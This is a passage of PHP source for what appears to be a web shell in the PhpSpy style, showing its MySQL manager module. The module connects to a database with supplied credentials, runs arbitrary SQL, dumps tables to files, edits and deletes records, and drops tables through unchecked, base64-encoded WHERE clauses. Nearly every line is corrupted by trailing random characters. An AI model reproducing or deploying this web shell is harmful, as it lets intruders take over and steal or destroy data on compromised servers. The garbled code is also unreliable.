  673.         makehide('charset');- x; m3 M3 @# D2 ]( i
  674.         makehide('doing');0 q9 R) b: }* m. R. l
  675.         makehide('action','sqlfile');7 W# i* t* f# c. _4 ?8 \6 r  U! V
  676.         p('</form>');# z! m1 g. r- f
  677. }
    1 L& ^) ~$ O5 L& R0 [4 t$ g

  678. # k7 w1 w" d' L/ N! K/ n
  679. elseif ($action == 'sqladmin') {
    : w! R6 w- F: s' u
  680.         !$dbhost && $dbhost = 'localhost';; W' T4 |6 B) \8 m6 s3 r
  681.         !$dbuser && $dbuser = 'root';) y1 O8 h( \5 c- B
  682.         !$dbport && $dbport = '3306';5 U/ z" @- q2 I7 E' T3 e- C
  683.         $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';2 ]! m. B' c8 q8 X- W* d
  684.         if(isset($dbhost)){& R9 x8 n! I, V
  685.                 $dbform .= "<input type="hidden" id="dbhost" name="dbhost" value="$dbhost" />\n";
    ' `8 D, o6 l: C5 ^) v
  686.         }! E# l9 ~  r4 T7 C  a5 Q+ j
  687.         if(isset($dbuser)) {: T6 l# Z1 x- A" a2 m
  688.                 $dbform .= "<input type="hidden" id="dbuser" name="dbuser" value="$dbuser" />\n";2 m2 }. D8 N& L6 b
  689.         }
    8 q# m1 P2 ~- ~  A" F
  690.         if(isset($dbpass)) {" c; l$ {8 N( H
  691.                 $dbform .= "<input type="hidden" id="dbpass" name="dbpass" value="$dbpass" />\n";4 B8 F4 E; ?2 p4 x. |6 Q6 S4 H
  692.         }
    2 S9 ]* O4 J$ K5 Q. G/ w+ V+ m
  693.         if(isset($dbport)) {
    8 Q, U% `  ^# D* \9 |' P& C
  694.                 $dbform .= "<input type="hidden" id="dbport" name="dbport" value="$dbport" />\n";
    $ X( e, \3 ^9 [# @6 b
  695.         }( ?0 ?5 @5 @) `% w
  696.         if(isset($dbname)) {
    3 `; @# `: l$ `+ _* m5 \  N
  697.                 $dbform .= "<input type="hidden" id="dbname" name="dbname" value="$dbname" />\n";- K3 ?% d2 C7 l# a  j% g( z
  698.         }- z7 q: |# U2 V
  699.         if(isset($charset)) {
    & K. ]+ r* Z8 o  c
  700.                 $dbform .= "<input type="hidden" id="charset" name="charset" value="$charset" />\n";$ Q7 f  ~/ q9 ]7 y2 u2 G
  701.         }
    : k; a8 O6 Y7 U! h2 R5 V) h

  702. ) M2 F' }: W7 B) i" P
  703.         if ($doing == 'backupmysql' && $saveasfile) {& N) o9 V7 ]& i+ }: m8 a9 o6 L' K
  704.                 if (!$table) {
    2 Y' M" H" b5 _/ k8 c7 V! j2 o) a
  705.                         m('Please choose the table');& ^6 d6 ?1 |8 K( h1 R- _, K: F
  706.                 } else {! k3 @% i1 m5 l$ l0 t6 G
  707.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);  |, F) h1 c3 y7 M; E  h
  708.                         $table = array_flip($table);2 X8 {5 ^5 h; m% y3 L
  709.                         $fp = @fopen($path,'w');
    + G9 U: A$ h& y; O# B" q0 y
  710.                         if ($fp) {# ?& c/ `; D) ]1 k' N* G/ f
  711.                                 $result = q('SHOW tables');
    3 v" g2 ^# m, Z& d$ g
  712.                                 if (!$result) p('<h2>'.mysql_error().'</h2>');
    1 `, J, R' M$ a
  713.                                 $mysqldata = '';6 n( ~- q- K# Q
  714.                                 while ($currow = mysql_fetch_array($result)) {
    8 E; {8 m" m# m( J
  715.                                         if (isset($table[$currow[0]])) {5 |7 u0 b2 u0 |0 `. D
  716.                                                 sqldumptable($currow[0], $fp);
    2 @% r& ?* q4 C: [; i) K/ _6 X9 R  c; G
  717.                                         }
    9 z& d5 U6 E1 J) ^
  718.                                 }
    ! f1 [" a( k9 p
  719.                                 fclose($fp);) E0 W. h8 ?0 g% }3 W9 N
  720.                                 $fileurl = str_replace(SA_ROOT,'',$path);
    $ T  c6 A3 s1 J+ U. O
  721.                                 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
    : @* V4 \! L/ @% N2 S& S! ?
  722.                                 mysql_close();
    % V: M; Q7 I5 S  b
  723.                         } else {# G' ?3 n5 N& A$ f" I) q- C
  724.                                 m('Backup failed');
    - o! p& q. s  m) y) C
  725.                         }
    0 Y6 p* g$ v  M. Y0 R
  726.                 }
    $ k2 i" m1 Q2 t2 F
  727.         }
    , B  C' g/ ^% }. w! m
  728.         if ($insert && $insertsql) {
    + g4 x5 m/ M3 j4 n; D. r  U7 C) R
  729.                 $keystr = $valstr = $tmp = '';! A) U! o/ p) A
  730.                 foreach($insertsql as $key => $val) {. V( c) ^+ ~; [) n0 k8 c
  731.                         if ($val) {
      m- D3 H6 K4 r  W+ a' i* R
  732.                                 $keystr .= $tmp.$key;
    ! l" v* @7 f" l
  733.                                 $valstr .= $tmp."'".addslashes($val)."'";; n' s1 B8 y4 Y) P9 a
  734.                                 $tmp = ',';
    ; c: Z1 l1 i3 t: ?  t
  735.                         }/ v4 l6 f" N. Q% T; T# _
  736.                 }" B9 {; B; P4 G
  737.                 if ($keystr && $valstr) {& |2 }4 j. z% Q
  738.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
    . i" d- y+ H$ }3 C5 X
  739.                         m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
    * s) Z& U3 K1 L! _3 w3 B. w
  740.                 }3 M$ X$ `  x2 j
  741.         }6 g( A9 v3 k4 K& h6 C5 O3 u0 K
  742.         if ($update && $insertsql && $base64) {7 T$ Z* b4 ~1 Z& d- ~( Y$ a( A
  743.                 $valstr = $tmp = '';
    * z7 {7 [9 N, B5 L
  744.                 foreach($insertsql as $key => $val) {
    4 Y1 B+ g1 N, F, ~+ t
  745.                         $valstr .= $tmp.$key."='".addslashes($val)."'";2 B+ e9 v# }  ?: f: |+ [" g
  746.                         $tmp = ',';2 B8 l' k7 A: N5 d% z' y: L, M4 @
  747.                 }
    ! T( u; X. V8 ?' K4 N
  748.                 if ($valstr) {( K% \/ R3 s9 L& J: q
  749.                         $where = base64_decode($base64);6 p% m! A. K" q1 H$ Z
  750.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
    : a1 R" f2 e0 E+ _
  751.                         m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
    $ a- o. ^2 I3 s" y" q; @2 h7 b5 X
  752.                 }) F) }+ _. |  h& P! u& _' c
  753.         }
    6 G9 U0 K& J: c8 ~) q* l8 I
  754.         if ($doing == 'del' && $base64) {
    ; f  v& _  U* F$ ~) S
  755.                 $where = base64_decode($base64);4 l+ ~+ B  T3 [
  756.                 $delete_sql = "DELETE FROM $tablename WHERE $where";
    % Y# z$ o# L$ R: K7 v
  757.                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
    2 b! r1 b7 J9 \, Z5 }4 d# @
  758.                 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
    - k2 \, k% F' ]& b/ \" D/ s
  759.         }0 V' v9 `9 ]4 O, k  W% f% i9 L
  760. * @5 |6 Q1 B$ ?6 U0 |  U7 C0 E
  761.         if ($tablename && $doing == 'drop') {
    & n: G/ E( e( b) M/ N. f
  762.                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
    ; D! d0 g6 Q$ L9 M! @$ |7 S, Z
  763.                 if (q("DROP TABLE $tablename")) {1 Q7 z+ T$ E8 r! Q. ?& B
  764.                         m('Drop table of success');
    ( c7 \& ]. q. R8 r+ R" L
  765.                         $tablename = '';
    " n$ c7 c2 P& G# l1 h1 O5 C! l
  766.                 } else {2 w2 {+ {, z" B$ F8 e4 g* E! [* r
  767.                         m(mysql_error());: `9 T3 }* M# F+ S+ O
  768.                 }
    ) f4 `3 Z# g2 c4 A) c9 p
  769.         }
    * E6 k( F* Q& U! t( j0 f; k" {8 F

  770. ; _; }* L( \2 u; q1 Z/ s2 u
  771.         $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');- k- k5 e" P* e* V8 C
  772. 3 |) p/ E. r& Y% H
  773.         formhead(array('title'=>'MYSQL Manager'));7 C: g: k0 C+ @: }
  774.         makehide('action','sqladmin');) N+ H3 N% _* z/ a" g  s
  775.         p('<p>');; o8 O* E: C4 |3 D
  776.         p('DBHost:');/ p, _  I. R, |; `9 E2 s
  777.         makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));9 `" ^  Y# ?9 }
  778.         p(':');2 G8 v/ L/ Q0 P0 R, d+ Q  o- z& g. c+ X
  779.         makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
    ! y9 e+ @$ ^, `7 z' I# L4 L
  780.         p('DBUser:');
    " H8 u+ k& t: n* i* p4 u( I& l
  781.         makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
    . ^2 l+ Q& U; W' F* S# o6 V/ c1 W
  782.         p('DBPass:');
    : ?5 R5 y0 u$ a
  783.         makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
    ! n& X, |- d) z5 R0 e( N
  784.         p('DBCharset:');6 e2 G0 Y$ r4 N, h! N% |$ s! n
  785.         makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
    " x( m7 z$ I  t" f
  786.         makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));8 _1 z1 @6 q6 L% n; Y5 c6 h
  787.         p('</p>');) M; D, O) p6 t
  788.         formfoot();, v6 d/ d) V. v
  789. ?>( m" H! E0 d# K' a
  790. <script type="text/javascript">8 `3 q6 @! Z) d, \4 B' E' c* H1 a& k
  791. function editrecord(action, base64, tablename){
    ) R7 k2 j- K+ _3 O
  792.         if (action == 'del') {                6 r0 M% t: z! V- m/ K& T; [9 n- b
  793.                 if (!confirm('Is or isn\'t deletion record?')) return;
    + w& z% Y6 h0 x2 ?/ Z
  794.         }
    ( }% B; \* v( q! P. t/ I
  795.         $('recordlist').doing.value=action;) H8 j  q+ S6 D+ r0 @/ d
  796.         $('recordlist').base64.value=base64;
    1 v  }8 V$ P9 u* I
  797.         $('recordlist').tablename.value=tablename;
    , _0 d4 j/ n. G" M& ~
  798.         $('recordlist').submit();8 m) P6 k0 \: F
  799. }
    + c( M9 K# I+ b' B; j3 h( {/ B( v
  800. function moddbname(dbname) {
    $ ?  H6 z8 ~1 M5 ]
  801.         if(!dbname) return;
    : W( m4 e0 v# M2 V
  802.         $('setdbname').dbname.value=dbname;
    5 Y' N3 f% Q# \* k# j4 y4 x
  803.         $('setdbname').submit();
    + W; M  ^3 i& p  `8 {
  804. }/ _0 k/ I$ \+ i
  805. function settable(tablename,doing,page) {
    7 M$ ]. a9 M  q6 L( l% C
  806.         if(!tablename) return;: S$ y/ D6 {! F0 Y
  807.         if (doing) {* @$ |  A* v& K0 `3 l& \* P# W: q
  808.                 $('settable').doing.value=doing;! ?0 U9 L, O4 w3 `$ B. O1 B1 V
  809.         }* ?* j1 s$ i1 v; X! u
  810.         if (page) {0 T4 y. O% ^) M
  811.                 $('settable').page.value=page;
    1 U3 V5 i; S! r0 f/ R5 O
  812.         }$ E$ k5 Y* n1 X: n
  813.         $('settable').tablename.value=tablename;
    4 Q( Y/ V8 m: w3 E: P" p
  814.         $('settable').submit();
    ' p  L$ c3 Q9 R+ ^
  815. }
    ( m8 X) ]2 O3 b! Z$ q! J. b
  816. </script>
    $ ]# U' f( z3 k/ m% ~* r
  817. <?php2 f0 k. w  Y- g1 n% G/ {0 D
  818.         //操作记录
    $ g- b8 R- T5 ~4 z7 r
  819.         formhead(array('name'=>'recordlist'));
    7 M& V1 u. {) I3 k8 I: m
  820.         makehide('doing');
    6 o2 ?/ H) C9 E
  821.         makehide('action','sqladmin');
    8 _+ H/ Z: X  s1 a8 O
  822.         makehide('base64');
    6 T# P" [1 I2 R1 B% q+ P
  823.         makehide('tablename');7 H7 U3 C! v  s& a3 K  p
  824.         p($dbform);
    - u# e& R6 T3 R- y* q
  825.         formfoot();
    - r, [8 F, K% h: ]
  826.         //选定数据库. Q1 }# C! s2 D7 b% r5 _9 I
  827.         formhead(array('name'=>'setdbname'));
    - u  ^  \8 |  f# r# c+ f
  828.         makehide('action','sqladmin');
    $ R- l/ V4 I' I3 J6 A
  829.         p($dbform);5 I. E# _- _- m9 Y" U
  830.         if (!$dbname) {
    9 F  V7 `7 P& s8 K
  831.                 makehide('dbname');
    + t1 ~+ y& h# L8 g
  832.         }4 A7 K6 N+ l% ?5 s& j0 K: A
  833.         formfoot();9 _3 S& @5 O& v
  834.         //选定表( m4 I1 |1 s0 X( G3 Z( Y
  835.         formhead(array('name'=>'settable'));
    , [0 Y% d# S' h7 q" Z
  836.         makehide('action','sqladmin');
    % `) q4 w/ {6 j' j& T: F7 Y, X
  837.         p($dbform);) M3 V8 u  `& d7 f# T
  838.         makehide('tablename');
    ; I8 c3 t6 _8 L7 o! S, y. \# E
  839.         makehide('page',$page);; |7 H4 \8 p/ Q) N7 f, n1 Y
  840.         makehide('doing');7 G- _" B7 m# F# F' Y, v! J6 \
  841.         formfoot();# V* E3 q. o" T  V+ A" M& t5 i5 i
  842.         $cachetables = array();       
    " s# s' W  U; Z0 }3 r; e
  843.         $pagenum = 30;+ Z: ~9 q8 Z3 i4 |' ^
  844.         $page = intval($page);
    - A4 P4 s4 s7 n, y0 v( i
  845.         if($page) {! @) Y6 O2 r% B: g( ]' P
  846.                 $start_limit = ($page - 1) * $pagenum;$ ~2 j* q2 j, D, x& d
  847.         } else {% R+ a2 u7 Y  d: v( _8 @$ S4 r7 l. r& r
  848.                 $start_limit = 0;& n  J5 r! E" P& @: n+ h1 `; e# P6 E1 P$ d
  849.                 $page = 1;$ \- ~% ?" C7 t
  850.         }
    $ D' S$ f& N, t% S9 I9 {
  851.         if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {2 g0 y2 |6 w. Z/ n' e2 k( d' L4 J
  852.                 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);* f9 f0 \& L  i
  853.                 //获取数据库信息
    2 _! {6 Z3 O, g4 D4 c
  854.                 $mysqlver = mysql_get_server_info();
    6 m7 {$ z, s* v2 t$ I
  855.                 p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
    * X/ i- I' [! a" M/ X5 w6 {
  856.                 $highver = $mysqlver > '4.1' ? 1 : 0;
    ! _) s/ ]" _5 Y) d# v# i
  857.                 //获取数据库
    ' v7 |) e* E. S# I% ?
  858.                 $query = q("SHOW DATABASES");/ K8 G# o0 V6 U  c. U& e! _
  859.                 $dbs = array();
    * M  a% k5 Z6 \
  860.                 $dbs[] = '-- Select a database --';
    , u6 D3 ^1 l, }$ }: z4 P# C
  861.                 while($db = mysql_fetch_array($query)) {% e0 W9 M- ^4 }3 Z6 o. T, r
  862.                         $dbs[$db['Database']] = $db['Database'];/ N) h/ R+ ?8 e4 P$ `( R
  863.                 }$ x' Y6 O; Q/ K% d' y
  864.                 makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));# I' [2 g/ ]4 j% f/ x
  865.                 $tabledb = array();) S: B' n9 G( L# y& w* I
  866.                 if ($dbname) {
    ( Y/ Q2 ?: F* j. ~7 C$ C2 ?# D
  867.                         p('<p>');
    " N1 O8 K3 F5 p5 U! h0 K
  868.                         p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');3 Z( b4 y) k( h8 j5 c' k* i
  869.                         if ($tablename) {
    + P2 V& j. f) t  [, i% m
  870.                                 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');& F: D, x7 F, Y
  871.                         }0 F" Y. u$ ~% x& `
  872.                         p('</p>');" i  K' n& R- E: o, M
  873.                         mysql_select_db($dbname);) Z9 D( w7 H. r' i" t  Y; }
  874.                         $getnumsql = '';+ g- A0 o) Y+ T. d7 ~" B! F8 [
  875.                         $runquery = 0;6 c! {  a7 f5 y8 M) N% O3 W" J
  876.                         if ($sql_query) {
    * n0 d! @- ~/ j( }( e: ?: _5 |
  877.                                 $runquery = 1;
    3 t) ?2 a5 j4 {& y7 L
  878.                         }
    % r* M# [' c% {
  879.                         $allowedit = 0;
    & u3 _, d2 o& |  v/ f. D6 n
  880.                         if ($tablename && !$sql_query) {) n3 e' V( i! t+ H- ~
  881.                                 $sql_query = "SELECT * FROM $tablename";
    : ~7 R; S# a8 _* M' x
  882.                                 $getnumsql = $sql_query;& n' Q. k, K7 a8 a: b
  883.                                 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
    # u9 I0 S; |* @5 v/ H
  884.                                 $allowedit = 1;) T1 e8 a% ?/ M) c( `" j/ `6 z
  885.                         }
    " _5 C8 _- W6 C& s# I+ r0 U
  886.                         p('<form action="'.$self.'" method="POST">');
    ( V! S! \8 M. ~; u* \7 _% f
  887.                         p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
    1 ^+ X. J" k. }/ ]
  888.                         makehide('tablename', $tablename);
    + z$ t* d( {! p2 m' s2 ]
  889.                         makehide('action','sqladmin');( b- n( y# T2 R5 Z
  890.                         p($dbform);
    1 P& N- Q3 ]8 l) u% v+ [( Q/ y. r
  891.                         p('</form>');- h9 Y9 O" a8 T' _
  892.                         if ($tablename || ($runquery && $sql_query)) {
    / p( e! L9 E) ]) |
  893.                                 if ($doing == 'structure') {
    6 |4 r8 S& C4 q$ {8 K
  894.                                         $result = q("SHOW COLUMNS FROM $tablename");* Q, v" W6 m+ z* S. l: a! u1 v1 F
  895.                                         $rowdb = array();% V2 L0 m- c) _( w
  896.                                         while($row = mysql_fetch_array($result)) {
    + z2 p: h9 n% T2 d( z
  897.                                                 $rowdb[] = $row;0 p) O/ I1 R) c3 ~
  898.                                         }
    $ u% d3 c, o' e8 s5 \
  899.                                         p('<table border="0" cellpadding="3" cellspacing="0">');- m4 [2 q1 c& O) Y, S
  900.                                         p('<tr class="head">');1 G9 d0 Y7 W9 `1 U
  901.                                         p('<td>Field</td>');4 E3 U0 f9 f, a) m
  902.                                         p('<td>Type</td>');
    4 E3 a$ N  t- J5 p3 Z
  903.                                         p('<td>Null</td>');
    % l; |1 r: S, J
  904.                                         p('<td>Key</td>');
      F0 h7 G8 s; t: h  ?- z8 ]
  905.                                         p('<td>Default</td>');2 \/ L5 k' q7 \1 A7 T3 h' g
  906.                                         p('<td>Extra</td>');/ ^6 k, ^  g( @
  907.                                         p('</tr>');% f' U) H  B- p/ s) k# J1 n, |6 w
  908.                                         foreach ($rowdb as $row) {/ B4 `* J7 A! W, b
  909.                                                 $thisbg = bg();  l( w) ?) q( ^" L' W) O
  910.                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
    . k# v+ b1 z- j) U
  911.                                                 p('<td>'.$row['Field'].'</td>');. U, S' p/ R3 e/ O# J
  912.                                                 p('<td>'.$row['Type'].'</td>');
    7 x: L0 w+ N/ n! m8 G1 y% X5 g
  913.                                                 p('<td>'.$row['Null'].' </td>');
    & [5 |+ Q! y. x  X+ H" L0 m4 X3 u
  914.                                                 p('<td>'.$row['Key'].' </td>');
    1 A' y# p; b2 {8 d' F
  915.                                                 p('<td>'.$row['Default'].' </td>');
    - b1 A0 C2 L1 A
  916.                                                 p('<td>'.$row['Extra'].' </td>');- S! G. @' |+ a& i
  917.                                                 p('</tr>');+ _$ c+ d- Z$ m% k0 ?1 f
  918.                                         }
    " a: }/ Y! a1 l/ ?4 m' F, I4 p- T, C
  919.                                         tbfoot();' p+ d2 m' d) v6 W' I, c3 B8 ^- b
  920.                                 } elseif ($doing == 'insert' || $doing == 'edit') {! j7 f- e2 F" c& r+ S1 V0 \
  921.                                         $result = q('SHOW COLUMNS FROM '.$tablename);
    $ m2 i9 Q- W; S4 a- W3 g
  922.                                         while ($row = mysql_fetch_array($result)) {
    3 }; c) r- m, F- Y+ c6 F2 q( j
  923.                                                 $rowdb[] = $row;
    2 B! M3 w! W+ Z; c. k% d/ J- g& ]4 B
  924.                                         }5 W1 h( c& r/ v  C4 E7 ~) f0 n& t
  925.                                         $rs = array();  \8 q  i! _1 ^
  926.                                         if ($doing == 'insert') {" g; U2 }8 L5 {
  927.                                                 p('<h2>Insert new line in '.$tablename.' table »</h2>');
    ) @) y( Y, n! _/ n' O+ m
  928.                                         } else {
      o  }; p& G. C$ I* {
  929.                                                 p('<h2>Update record in '.$tablename.' table »</h2>');
    1 A2 \' U& p& `5 q6 [- v0 D- @
  930.                                                 $where = base64_decode($base64);- X( Y( W) J8 d& m/ h8 S
  931.                                                 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");9 y5 a' T8 M  e& A# ^4 C5 v, F
  932.                                                 $rs = mysql_fetch_array($result);
    3 i6 b$ u, Q( M& O0 K
  933.                                         }
    , a5 r: y0 S5 U9 U8 R, d
  934.                                         p('<form method="post" action="'.$self.'">');! S1 r' e' ^# _
  935.                                         p($dbform);1 C" p% O# [. }
  936.                                         makehide('action','sqladmin');* R9 K7 B+ ^; q( h
  937.                                         makehide('tablename',$tablename);" B/ U, r2 V. t8 n" Z, z
  938.                                         p('<table border="0" cellpadding="3" cellspacing="0">');
    + S/ x( U' Y! U. L6 L% v4 Q$ \
  939.                                         foreach ($rowdb as $row) {' v, @, }& @+ `% R( B/ O
  940.                                                 if ($rs[$row['Field']]) {2 X5 i' i- f5 _: P* h
  941.                                                         $value = htmlspecialchars($rs[$row['Field']]);0 D0 q, X' m* c9 a+ V" ~( O) f
  942.                                                 } else {% J9 W5 g: ^0 ^5 K1 [1 k9 ~
  943.                                                         $value = '';. \) H9 `3 h$ T5 D) p3 E
  944.                                                 }  Y2 N; {0 ~# X, m
  945.                                                 $thisbg = bg();; A3 w5 V7 H! V) U% ~( K
  946.                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');; X0 J; M2 y& s" v8 e/ M. G. F
  947.                                                 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
    + S5 M; r0 k- x! Y# p! I( f' i9 i
  948.                                         }
    " c2 U& ~+ R  o; S; {" X& S# K3 R
  949.                                         if ($doing == 'insert') {
    4 G/ q4 `5 e2 S. t  n/ A4 A
  950.                                                 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');6 B6 ~# }: V, x3 Y9 Y
  951.                                         } else {' _" F6 m3 W) T. ?' ]
  952.                                                 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');$ i6 O. w+ U9 y% Q1 E9 v3 M2 X
  953.                                                 makehide('base64', $base64);8 X/ i' x; y6 `& B" o1 ]9 c
  954.                                         }5 Z2 j4 p8 n$ v0 ], P- l
  955.                                         p('</table></form>');8 i- Z0 [: Y  I$ V1 C* ?
  956.                                 } else {
    % W, ~; h# ?6 E4 g  A) ^$ a; o
  957.                                         $querys = @explode(';',$sql_query);  C' D5 Z3 \% L3 h4 r
  958.                                         foreach($querys as $num=>$query) {
    / n, x; m- W1 B
  959.                                                 if ($query) {
    & k: O4 j, u& w, i4 ^* L# g
  960.                                                         p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");0 r3 _# g( I* i% t: ]: [5 |
  961.                                                         switch(qy($query))
    9 n( c/ g, {. u: G
  962.                                                         {( H, r7 R) J' W: u$ t% p
  963.                                                                 case 0:
    % A; F) B2 ?* b
  964.                                                                         p('<h2>Error : '.mysql_error().'</h2>');2 U6 S8 b8 V6 a/ K
  965.                                                                         break;        ! F. N9 J# P% V5 ?) S) m
  966.                                                                 case 1:0 D7 M% N: z- n. d9 z8 ]
  967.                                                                         if (strtolower(substr($query,0,13)) == 'select * from') {$ c7 z7 z6 r* }7 A0 `' G$ K' I4 p
  968.                                                                                 $allowedit = 1;
    6 r/ f- q+ w/ {  ^" x- q* K
  969.                                                                         }
    7 c) H9 ?1 }; D9 A+ l
  970.                                                                         if ($getnumsql) {3 n3 t. e  K& Z4 [& _
  971.                                                                                 $tatol = mysql_num_rows(q($getnumsql));
    + K+ R+ x: b$ v# [! {/ s. _! w& n* ~8 @
  972.                                                                                 $multipage = multi($tatol, $pagenum, $page, $tablename);& u+ K# ^0 P  {+ G
  973.                                                                         }0 _0 I  O6 T- T5 A3 g
  974.                                                                         if (!$tablename) {
    ! I& z/ |7 Z: h4 \2 _$ p+ \4 g/ L
  975.                                                                                 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
    - x9 n5 o- w; Q" J
  976.                                                                                 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);2 o) E7 x' I/ C% g0 |7 _- C
  977.                                                                                 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);7 H' q" S6 l* R8 Q* r
  978.                                                                                 $tablename = $matches[1][0];
    7 m& h& t3 o& v* e# d2 J" F6 F
  979.                                                                         }; O3 U% p7 k0 e. ^
  980.                                                                         $result = q($query);5 f7 d, |" \# j
  981.                                                                         p($multipage);4 t" L3 h0 P9 T' m, w; y& d; d
  982.                                                                         p('<table border="0" cellpadding="3" cellspacing="0">');; A) R8 w+ @2 ?# N+ i
  983.                                                                         p('<tr class="head">');( D0 \6 `$ s1 {
  984.                                                                         if ($allowedit) p('<td>Action</td>');
    0 A/ \( H/ e6 d* @0 N6 S6 R- _( y
  985.                                                                         $fieldnum = @mysql_num_fields($result);
    ( p$ O8 @, _. \+ p
  986.                                                                         for($i=0;$i<$fieldnum;$i++){
    * `1 f9 B( h! I1 G7 a9 j. W) [+ j
  987.                                                                                 $name = @mysql_field_name($result, $i);
    % |8 L* V6 Q/ Z; [
  988.                                                                                 $type = @mysql_field_type($result, $i);
    ) W% x' o9 m; _5 J1 z! _/ {5 L% x
  989.                                                                                 $len = @mysql_field_len($result, $i);
    ) \; p/ }6 T: U5 Y. X) r6 n6 R" z
  990.                                                                                 p("<td nowrap>$name<br><span>$type($len)</span></td>");) X4 v6 D1 `2 J7 L) r
  991.                                                                         }
    . [( S8 d1 ~* ]* f- B7 u
  992.                                                                         p('</tr>');
    0 Z; _/ F5 Q2 t
  993.                                                                         while($mn = @mysql_fetch_assoc($result)){- j4 [. _# N4 \- I7 i, V7 }
  994.                                                                                 $thisbg = bg();- ]9 r7 g3 N$ u2 I, P; j6 Z0 S
  995.                                                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
    ' ^, v4 S% J2 O7 N& i! K4 t2 a# W
  996.                                                                                 $where = $tmp = $b1 = '';* x3 P! E$ W: e
  997.                                                                                 foreach($mn as $key=>$inside){7 m' }# S# t6 `% @$ R1 Q& u
  998.                                                                                         if ($inside) {) {5 s- f" f5 L& ~) O
  999.                                                                                                 $where .= $tmp.$key."='".addslashes($inside)."'";
    ! U  _8 D* i$ |
  1000.                                                                                                 $tmp = ' AND ';- j8 e/ h3 G; j" _5 Q9 }; z
  1001.                                                                                         }) _: _) ]* k& f+ N
  1002.                                                                                         $b1 .= '<td nowrap>'.html_clean($inside).' </td>';6 C# ?9 L8 k: e7 O" O
  1003.                                                                                 }( y8 ]7 i) t+ g; S* h
  1004.                                                                                 $where = base64_encode($where);& j& ~/ Q, X' ]
  1005.                                                                                 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
    8 T) [( T4 q$ ]( D
  1006.                                                                                 p($b1);( Z/ j, x( g0 T7 M  M
  1007.                                                                                 p('</tr>');4 m! R% d7 ~. u/ t7 A
  1008.                                                                                 unset($b1);0 L9 t1 ?" S% m5 F; X1 w! r
  1009.                                                                         }: z# M6 m' S$ W2 E3 [3 H
  1010.                                                                         tbfoot();% `6 h8 O7 o1 L6 f; P& v5 S' @$ ?$ V
  1011.                                                                         p($multipage);
    - C: H4 ~! O+ ~! X( U+ M& \
  1012.                                                                         break;       
    / z5 l) n2 R0 x) q6 d
  1013.                                                                 case 2:
    7 t' m4 E0 @4 s0 t4 f2 r: K: u3 D$ c. l
  1014.                                                                         $ar = mysql_affected_rows();
    - N: l! G9 w6 W' _4 G  \+ A/ P0 }
  1015.                                                                         p('<h2>affected rows : <b>'.$ar.'</b></h2>');' w1 S1 g0 r( b2 `; y+ {3 y$ k
  1016.                                                                         break;
    3 x9 _3 O# V  ?' K# M
  1017.                                                         }$ M9 k! L* H) N, Y
  1018.                                                 }
    ! z) p! K) r* X: r
  1019.                                         }
    : O5 t/ `% G# F" |/ u1 ]
  1020.                                 }6 T/ T2 I, m9 U6 a/ J
